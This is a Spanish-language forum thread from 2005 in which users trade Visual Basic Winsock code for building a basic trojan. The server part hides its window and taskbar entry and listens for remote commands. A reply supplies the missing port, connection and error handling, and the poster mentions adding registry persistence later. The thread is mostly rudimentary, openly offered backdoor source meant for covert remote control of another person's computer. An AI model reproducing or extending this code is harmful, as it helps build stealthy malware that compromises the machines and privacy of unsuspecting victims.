|
Título: Lo basico para un troyano Publicado por: BenRu en 19 Agosto 2005, 01:12 am Bueno...pues ando algo confuso con esto de los troyanos...siempre me dan fallo...voy a postear aqui lo que realmente ace falta para que funcione un troyano
--CLIENTE-- Citar Private Sub Command1_Click() Winsock1.RemoteHost = Text1.Text Winsock1.Connect End Sub Ir añadiendo opciones --SERVER-- Citar Private Sub Form_Load() Me.Hide App.TaskVisible = False Winsock1.Listen End Sub Private Sub Winsock1_ConnectionRequest(ByVal requestID As Long) Winsock1.Close Winsock1.Accept requestID End Sub Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long) Dim abrir As String Winsock1.GetData datos Acciones Eso esta bien?Se le puede poner mejor? Alguna ayuda plis... Título: Re: Lo basico para un troyano Publicado por: Chief en 19 Agosto 2005, 02:33 am Te falta establecer el puerto, podes hacer asi mas facil :
winsock.close 'para evitar errores winsock1.connect ip, puerto tambien te faltaria esto: Private Sub winsock_Close() 'para que si se desconcta saberlo lblEstado.Caption = "Desconectado" ws.Close End Sub Private Sub winsock_Connect() 'para que si se conecta saberlo lblEstado.Caption = "Conectado" End Sub Private Sub winsock_error(ByVal Number As Integer, Description As String, ByVal sCode As Long, ByVal Source As String, ByVal HelpFile As String, ByVal HelpContext As Long, CancelDisplay As Boolean) 'por si hay error que cierre ws.Close End Sub y bueno hay creo que esta chau salu2!!! Título: Re: Lo basico para un troyano Publicado por: BenRu en 19 Agosto 2005, 02:35 am Es cierto...tambien para agregarlo al registro y otras cosas mas...pero solo quiero algo basico para despues ir metiendole cosas...
|